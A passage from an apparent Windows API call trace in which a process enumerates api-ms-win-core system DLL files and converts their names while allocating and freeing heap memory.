ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x9dc288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.265] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x9dc120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.265] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.265] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x9dc288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0206.265] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.265] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.266] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x9dc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.266] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x9dc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.266] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.266] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.266] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.266] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x9dc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.267] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x9dc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.267] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x9dc288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.267] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.267] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.267] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x9dc120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.268] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x9dc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.268] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.268] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.268] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.268] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, 